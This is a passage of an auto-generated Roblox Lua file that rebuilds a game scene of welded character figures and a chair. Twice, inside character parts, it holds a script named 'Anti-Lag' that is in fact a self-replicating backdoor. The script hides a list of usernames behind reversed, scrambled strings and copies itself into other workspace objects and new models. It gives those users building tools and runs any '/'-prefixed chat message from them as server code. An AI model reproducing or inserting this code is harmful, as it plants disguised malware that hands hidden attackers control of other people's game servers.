Weld384.part1 = Part374 Weld385.Parent = Part381 Weld385.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld385.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0) Weld385.Part0 = Part381 Weld385.Part1 = Part374 Weld385.part1 = Part374 Weld386.Parent = Part381 Weld386.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld386.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0) Weld386.Part0 = Part381 Weld386.Part1 = Part374 Weld386.part1 = Part374 Model387.Parent = Model368 Part388.Name = "Right Arm" Part388.Parent = Model387 Part388.CFrame = CFrame.new(-11.0410156, 55.5002365, -213.051559, 0, -1, 0, 0, 0, 1, -1, 0, 0) Part388.Orientation = Vector3.new(-90, 90, 0) Part388.Position = Vector3.new(-11.0410156, 55.5002365, -213.051559) Part388.Rotation = Vector3.new(-90, 0, 90) Part388.Color = Color3.new(0.294118, 0.592157, 0.294118) Part388.Size = Vector3.new(1, 2, 1) Part388.Anchored = true Part388.BottomSurface = Enum.SurfaceType.Smooth Part388.BrickColor = BrickColor.new("Bright green") Part388.TopSurface = Enum.SurfaceType.Smooth Part388.brickColor = BrickColor.new("Bright green") Weld389.Parent = Part388 Weld389.C0 = CFrame.new(0, 0, -0.5, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld389.C1 = CFrame.new(0.5, 0.200073242, -1, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld389.Part0 = Part388 Weld389.Part1 = Part540 Weld389.part1 = Part540 Weld390.Parent = Part388 Weld390.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld390.C1 = CFrame.new(0.599975586, -0.199951172, -1, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld390.Part0 = Part388 Weld390.Part1 = Part536 Weld390.part1 = Part536 Weld391.Parent = Part388 Weld391.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld391.C1 = CFrame.new(0.5, 0.199951172, -0.399780273, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld391.Part0 = Part388 Weld391.Part1 = Part512 Weld391.part1 = Part512 Part392.Name = "Right Arm" Part392.Parent = Model387 Part392.CFrame = CFrame.new(-11.0410156, 55.5002365, -212.051559, 0, -1, 0, 1, 0, -0, 0, 0, 1) Part392.Orientation = Vector3.new(0, 0, 90) Part392.Position = Vector3.new(-11.0410156, 55.5002365, -212.051559) Part392.Rotation = Vector3.new(0, 0, 90) Part392.Color = Color3.new(0.294118, 0.592157, 0.294118) Part392.Size = Vector3.new(1, 2, 1) Part392.Anchored = true Part392.BottomSurface = Enum.SurfaceType.Smooth Part392.BrickColor = BrickColor.new("Bright green") Part392.TopSurface = Enum.SurfaceType.Smooth Part392.brickColor = BrickColor.new("Bright green") Weld393.Parent = Part392 Weld393.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld393.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld393.Part0 = Part392 Weld393.Part1 = Part536 Weld393.part1 = Part536 Weld394.Parent = Part392 Weld394.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld394.C1 = CFrame.new(0.5, 0.200069427, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld394.Part0 = Part392 Weld394.Part1 = Part540 Weld394.part1 = Part540 Weld395.Parent = Part392 Weld395.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld395.C1 = CFrame.new(0.5, 0.200069427, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld395.Part0 = Part392 Weld395.Part1 = Part540 Weld395.part1 = Part540 Weld396.Parent = Part392 Weld396.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld396.C1 = CFrame.new(0.5, 0.200069427, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld396.Part0 = Part392 Weld396.Part1 = Part540 Weld396.part1 = Part540 Weld397.Parent = Part392 Weld397.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld397.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld397.Part0 = Part392 Weld397.Part1 = Part536 Weld397.part1 = Part536 Weld398.Parent = Part392 Weld398.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld398.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld398.Part0 = Part392 Weld398.Part1 = Part536 Weld398.part1 = Part536 Weld399.Parent = Part392 Weld399.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld399.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld399.Part0 = Part392 Weld399.Part1 = Part536 Weld399.part1 = Part536 Weld400.Parent = Part392 Weld400.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld400.C1 = CFrame.new(0.5, 0.200073242, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld400.Part0 = Part392 Weld400.Part1 = Part540 Weld400.part1 = Part540 Weld401.Parent = Part392 Weld401.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld401.C1 = CFrame.new(0.5, 0.200069427, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld401.Part0 = Part392 Weld401.Part1 = Part540 Weld401.part1 = Part540 Weld402.Parent = Part392 Weld402.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld402.C1 = CFrame.new(0.599975586, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld402.Part0 = Part392 Weld402.Part1 = Part536 Weld402.part1 = Part536 Part403.Name = "Torso" Part403.Parent = Model387 Part403.CFrame = CFrame.new(-10.5410156, 57.0002365, -212.551559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part403.Orientation = Vector3.new(0, 90, 0) Part403.Position = Vector3.new(-10.5410156, 57.0002365, -212.551559) Part403.Rotation = Vector3.new(0, 90, 0) Part403.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part403.Size = Vector3.new(2, 2, 1) Part403.Anchored = true Part403.BrickColor = BrickColor.new("Bright blue") Part403.LeftParamA = 0 Part403.LeftParamB = 0 Part403.LeftSurface = Enum.SurfaceType.Weld Part403.RightParamA = 0 Part403.RightParamB = 0 Part403.RightSurface = Enum.SurfaceType.Weld Part403.brickColor = BrickColor.new("Bright blue") Weld404.Parent = Part403 Weld404.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld404.C1 = CFrame.new(0.5, -0.5, -0.5, -0, -0, -1, -1, -0, -0, 0, 1, 0) Weld404.Part0 = Part403 Weld404.Part1 = Part422 Weld404.part1 = Part422 Weld405.Parent = Part403 Weld405.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld405.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, -0, 1, 1, -0, 0, 0, 1, 0) Weld405.Part0 = Part403 Weld405.Part1 = Part417 Weld405.part1 = Part417 Snap406.Parent = Part403 Snap406.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Snap406.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Snap406.Part0 = Part403 Snap406.Part1 = Part419 Snap406.part1 = Part419 Weld407.Parent = Part403 Weld407.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld407.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld407.Part0 = Part403 Weld407.Part1 = Part536 Weld407.part1 = Part536 Weld408.Parent = Part403 Weld408.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld408.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, -0, 1, 1, -0, 0, 0, 1, 0) Weld408.Part0 = Part403 Weld408.Part1 = Part417 Weld408.part1 = Part417 Weld409.Parent = Part403 Weld409.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld409.C1 = CFrame.new(0.5, -0.5, -0.5, -0, -0, -1, -1, -0, -0, 0, 1, 0) Weld409.Part0 = Part403 Weld409.Part1 = Part422 Weld409.part1 = Part422 Weld410.Parent = Part403 Weld410.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld410.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, -0, 1, 1, -0, 0, 0, 1, 0) Weld410.Part0 = Part403 Weld410.Part1 = Part417 Weld410.part1 = Part417 Weld411.Parent = Part403 Weld411.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld411.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld411.Part0 = Part403 Weld411.Part1 = Part536 Weld411.part1 = Part536 Weld412.Parent = Part403 Weld412.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld412.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld412.Part0 = Part403 Weld412.Part1 = Part536 Weld412.part1 = Part536 Weld413.Parent = Part403 Weld413.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld413.C1 = CFrame.new(0.5, -0.5, -0.5, -0, -0, -1, -1, -0, -0, 0, 1, 0) Weld413.Part0 = Part403 Weld413.Part1 = Part422 Weld413.part1 = Part422 Weld414.Parent = Part403 Weld414.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld414.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, -0, 1, 1, -0, 0, 0, 1, 0) Weld414.Part0 = Part403 Weld414.Part1 = Part417 Weld414.part1 = Part417 Weld415.Parent = Part403 Weld415.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld415.C1 = CFrame.new(0.5, -0.5, -0.5, -0, -0, -1, -1, -0, -0, 0, 1, 0) Weld415.Part0 = Part403 Weld415.Part1 = Part422 Weld415.part1 = Part422 Weld416.Parent = Part403 Weld416.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld416.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld416.Part0 = Part403 Weld416.Part1 = Part536 Weld416.part1 = Part536 Part417.Name = "Right Arm" Part417.Parent = Model387 Part417.CFrame = CFrame.new(-11.0410156, 57.3001671, -214.051559, 0, -1, 0, 0, 0, 1, -1, 0, 0) Part417.Orientation = Vector3.new(-90, 90, 0) Part417.Position = Vector3.new(-11.0410156, 57.3001671, -214.051559) Part417.Rotation = Vector3.new(-90, 0, 90) Part417.Color = Color3.new(0.960784, 0.803922, 0.188235) Part417.Size = Vector3.new(1, 2, 1) Part417.Anchored = true Part417.BottomSurface = Enum.SurfaceType.Smooth Part417.BrickColor = BrickColor.new("Bright yellow") Part417.TopSurface = Enum.SurfaceType.Smooth Part417.brickColor = BrickColor.new("Bright yellow") Weld418.Parent = Part417 Weld418.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld418.C1 = CFrame.new(1, 0.299926758, -0.5, -0, 0, -1, 1, 0, 0, 0, -1, 0) Weld418.Part0 = Part417 Weld418.Part1 = Part403 Weld418.part1 = Part403 Part419.Name = "Head" Part419.Parent = Model387 Part419.CFrame = CFrame.new(-10.5410156, 58.5002365, -212.551559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part419.Orientation = Vector3.new(0, 90, 0) Part419.Position = Vector3.new(-10.5410156, 58.5002365, -212.551559) Part419.Rotation = Vector3.new(0, 90, 0) Part419.Color = Color3.new(0.960784, 0.803922, 0.188235) Part419.Size = Vector3.new(2, 1, 1) Part419.Anchored = true Part419.BrickColor = BrickColor.new("Bright yellow") Part419.TopSurface = Enum.SurfaceType.Smooth Part419.brickColor = BrickColor.new("Bright yellow") SpecialMesh420.Parent = Part419 SpecialMesh420.Scale = Vector3.new(1.25, 1.25, 1.25) Decal421.Name = "face" Decal421.Parent = Part419 Part422.Name = "Right Arm" Part422.Parent = Model387 Part422.CFrame = CFrame.new(-11.0410156, 57.5002365, -211.051559, 0, -1, 0, 0, 0, 1, -1, 0, 0) Part422.Orientation = Vector3.new(-90, 90, 0) Part422.Position = Vector3.new(-11.0410156, 57.5002365, -211.051559) Part422.Rotation = Vector3.new(-90, 0, 90) Part422.Color = Color3.new(0.960784, 0.803922, 0.188235) Part422.Size = Vector3.new(1, 2, 1) Part422.Anchored = true Part422.BottomSurface = Enum.SurfaceType.Smooth Part422.BrickColor = BrickColor.new("Bright yellow") Part422.TopSurface = Enum.SurfaceType.Smooth Part422.brickColor = BrickColor.new("Bright yellow") Script423.Name = "Anti-Lag" Script423.Parent = Part422 table.insert(cors,sandbox(Script423,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld424.Parent = Part422 Weld424.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld424.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, -0, -0, -0, -1, -0) Weld424.Part0 = Part422 Weld424.Part1 = Part403 Weld424.part1 = Part403 Weld425.Parent = Part422 Weld425.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld425.C1 = CFrame.new(-1.40002441, -0.199951172, 1, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld425.Part0 = Part422 Weld425.Part1 = Part536 Weld425.part1 = Part536 Model426.Parent = Model368 Part427.Name = "Right Arm" Part427.Parent = Model426 Part427.CFrame = CFrame.new(-23.5410156, 55.5002365, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part427.Orientation = Vector3.new(-90, -180, 0) Part427.Position = Vector3.new(-23.5410156, 55.5002365, -217.551559) Part427.Rotation = Vector3.new(-90, 0, -180) Part427.Color = Color3.new(0.294118, 0.592157, 0.294118) Part427.Size = Vector3.new(1, 2, 1) Part427.Anchored = true Part427.BottomSurface = Enum.SurfaceType.Smooth Part427.BrickColor = BrickColor.new("Bright green") Part427.TopSurface = Enum.SurfaceType.Smooth Part427.brickColor = BrickColor.new("Bright green") Part428.Name = "Right Arm" Part428.Parent = Model426 Part428.CFrame = CFrame.new(-22.5410156, 55.5002365, -217.551559, 0, 0, 1, 1, 0, 0, 0, 1, 0) Part428.Orientation = Vector3.new(0, 90, 90) Part428.Position = Vector3.new(-22.5410156, 55.5002365, -217.551559) Part428.Rotation = Vector3.new(90, 90, 0) Part428.Color = Color3.new(0.294118, 0.592157, 0.294118) Part428.Size = Vector3.new(1, 2, 1) Part428.Anchored = true Part428.BottomSurface = Enum.SurfaceType.Smooth Part428.BrickColor = BrickColor.new("Bright green") Part428.TopSurface = Enum.SurfaceType.Smooth Part428.brickColor = BrickColor.new("Bright green") Weld429.Parent = Part428 Weld429.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld429.C1 = CFrame.new(0.5, 0.200069427, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0) Weld429.Part0 = Part428 Weld429.Part1 = Part579 Weld429.part1 = Part579 Weld430.Parent = Part428 Weld430.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld430.C1 = CFrame.new(0.5, 0.200069427, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0) Weld430.Part0 = Part428 Weld430.Part1 = Part579 Weld430.part1 = Part579 Weld431.Parent = Part428 Weld431.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld431.C1 = CFrame.new(0.5, 0.200069427, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0) Weld431.Part0 = Part428 Weld431.Part1 = Part579 Weld431.part1 = Part579 Weld432.Parent = Part428 Weld432.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld432.C1 = CFrame.new(0.5, 0.200069427, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0) Weld432.Part0 = Part428 Weld432.Part1 = Part579 Weld432.part1 = Part579 Weld433.Parent = Part428 Weld433.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld433.C1 = CFrame.new(0.5, 0.200073242, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0) Weld433.Part0 = Part428 Weld433.Part1 = Part579 Weld433.part1 = Part579 Part434.Name = "Torso" Part434.Parent = Model426 Part434.CFrame = CFrame.new(-23.0410156, 57.0002365, -218.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part434.Orientation = Vector3.new(0, 180, 0) Part434.Position = Vector3.new(-23.0410156, 57.0002365, -218.051559) Part434.Rotation = Vector3.new(-180, 0, -180) Part434.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part434.Size = Vector3.new(2, 2, 1) Part434.Anchored = true Part434.BrickColor = BrickColor.new("Bright blue") Part434.LeftParamA = 0 Part434.LeftParamB = 0 Part434.LeftSurface = Enum.SurfaceType.Weld Part434.RightParamA = 0 Part434.RightParamB = 0 Part434.RightSurface = Enum.SurfaceType.Weld Part434.brickColor = BrickColor.new("Bright blue") Weld435.Parent = Part434 Weld435.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld435.C1 = CFrame.new(-0.900024414, -0.199996948, 0.5, 0, -1, 0, 0, -0, 1, -1, 0, 0) Weld435.Part0 = Part434 Weld435.Part1 = Part575 Weld435.part1 = Part575 Weld436.Parent = Part434 Weld436.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld436.C1 = CFrame.new(0.5, -0.5, -0.5, 0, -0, -1, -1, 0, 0, 0, 1, 0) Weld436.Part0 = Part434 Weld436.Part1 = Part452 Weld436.part1 = Part452 Snap437.Parent = Part434 Snap437.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Snap437.C1 = CFrame.new(0, -0.5, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0) Snap437.Part0 = Part434 Snap437.Part1 = Part449 Snap437.part1 = Part449 Part438.Name = "Right Arm" Part438.Parent = Model426 Part438.CFrame = CFrame.new(-24.5410156, 57.3001671, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part438.Orientation = Vector3.new(-90, -180, 0) Part438.Position = Vector3.new(-24.5410156, 57.3001671, -217.551559) Part438.Rotation = Vector3.new(-90, 0, -180) Part438.Color = Color3.new(0.960784, 0.803922, 0.188235) Part438.Size = Vector3.new(1, 2, 1) Part438.Anchored = true Part438.BottomSurface = Enum.SurfaceType.Smooth Part438.BrickColor = BrickColor.new("Bright yellow") Part438.TopSurface = Enum.SurfaceType.Smooth Part438.brickColor = BrickColor.new("Bright yellow") Weld439.Parent = Part438 Weld439.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld439.C1 = CFrame.new(-1.1999588, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0) Weld439.Part0 = Part438 Weld439.Part1 = Part575 Weld439.part1 = Part575 Weld440.Parent = Part438 Weld440.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld440.C1 = CFrame.new(1, 0.299930573, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0) Weld440.Part0 = Part438 Weld440.Part1 = Part434 Weld440.part1 = Part434 Weld441.Parent = Part438 Weld441.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld441.C1 = CFrame.new(-1.19995117, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0) Weld441.Part0 = Part438 Weld441.Part1 = Part575 Weld441.part1 = Part575 Weld442.Parent = Part438 Weld442.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld442.C1 = CFrame.new(1, 0.299926758, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0) Weld442.Part0 = Part438 Weld442.Part1 = Part434 Weld442.part1 = Part434 Weld443.Parent = Part438 Weld443.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld443.C1 = CFrame.new(1, 0.299930573, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0) Weld443.Part0 = Part438 Weld443.Part1 = Part434 Weld443.part1 = Part434 Weld444.Parent = Part438 Weld444.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld444.C1 = CFrame.new(-1.1999588, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0) Weld444.Part0 = Part438 Weld444.Part1 = Part575 Weld444.part1 = Part575 Weld445.Parent = Part438 Weld445.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld445.C1 = CFrame.new(1, 0.299930573, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0) Weld445.Part0 = Part438 Weld445.Part1 = Part434 Weld445.part1 = Part434 Weld446.Parent = Part438 Weld446.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld446.C1 = CFrame.new(-1.1999588, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0) Weld446.Part0 = Part438 Weld446.Part1 = Part575 Weld446.part1 = Part575 Weld447.Parent = Part438 Weld447.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld447.C1 = CFrame.new(1, 0.299930573, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0) Weld447.Part0 = Part438 Weld447.Part1 = Part434 Weld447.part1 = Part434 Weld448.Parent = Part438 Weld448.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld448.C1 = CFrame.new(-1.1999588, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0) Weld448.Part0 = Part438 Weld448.Part1 = Part575 Weld448.part1 = Part575 Part449.Name = "Head" Part449.Parent = Model426 Part449.CFrame = CFrame.new(-23.0410156, 58.5002365, -218.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part449.Orientation = Vector3.new(0, 180, 0) Part449.Position = Vector3.new(-23.0410156, 58.5002365, -218.051559) Part449.Rotation = Vector3.new(-180, 0, -180) Part449.Color = Color3.new(0.960784, 0.803922, 0.188235) Part449.Size = Vector3.new(2, 1, 1) Part449.Anchored = true Part449.BrickColor = BrickColor.new("Bright yellow") Part449.TopSurface = Enum.SurfaceType.Smooth Part449.brickColor = BrickColor.new("Bright yellow") SpecialMesh450.Parent = Part449 SpecialMesh450.Scale = Vector3.new(1.25, 1.25, 1.25) Decal451.Name = "face" Decal451.Parent = Part449 Part452.Name = "Right Arm" Part452.Parent = Model426 Part452.CFrame = CFrame.new(-21.5410156, 57.5002365, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part452.Orientation = Vector3.new(-90, -180, 0) Part452.Position = Vector3.new(-21.5410156, 57.5002365, -217.551559) Part452.Rotation = Vector3.new(-90, 0, -180) Part452.Color = Color3.new(0.960784, 0.803922, 0.188235) Part452.Size = Vector3.new(1, 2, 1) Part452.Anchored = true Part452.BottomSurface = Enum.SurfaceType.Smooth Part452.BrickColor = BrickColor.new("Bright yellow") Part452.TopSurface = Enum.SurfaceType.Smooth Part452.brickColor = BrickColor.new("Bright yellow") Script453.Name = "Anti-Lag" Script453.Parent = Part452 table.insert(cors,sandbox(Script453,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Model454.Parent = Model368 Model455.Name = "Chair" Model455.Parent = Model454 Model455.PrimaryPart = Part500 Part456.Name = "Smooth Block Model" Part456.Parent = Model455 Part456.CFrame = CFrame.new(-15.5410156, 54.0002365, -218.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part456.Orientation = Vector3.new(0, 90, 0) Part456.Position = Vector3.new(-15.5410156, 